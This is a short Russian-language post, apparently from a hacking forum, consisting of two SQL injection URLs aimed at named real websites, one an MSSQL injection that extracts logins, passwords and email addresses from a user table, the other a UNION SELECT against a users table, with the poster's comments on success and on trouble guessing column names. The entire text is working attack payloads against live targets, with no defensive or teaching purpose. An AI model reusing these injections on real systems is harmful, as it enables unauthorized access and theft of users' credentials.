_http://www.rsi.ru/news/news.asp?id=2334+or+1=(SELECT+TOP+1+cast(LOGINS+as +nvarchar)%2B%27%3A%27%2Bcast(PASSWORD+as+nvarchar )%2B%27%3A%27%2Bcast(MAIL+as+nvarchar)+from+RSI_LO GINS+where+Id=1)--
вот и mssql забацал

_http://www.eng.wayne.edu/news.php?id=-99+union+select+1,id,3,4,5,6,7,8,9,0,1,2,3+from+us ers/*
а вот с названием отстальных колонок проблемы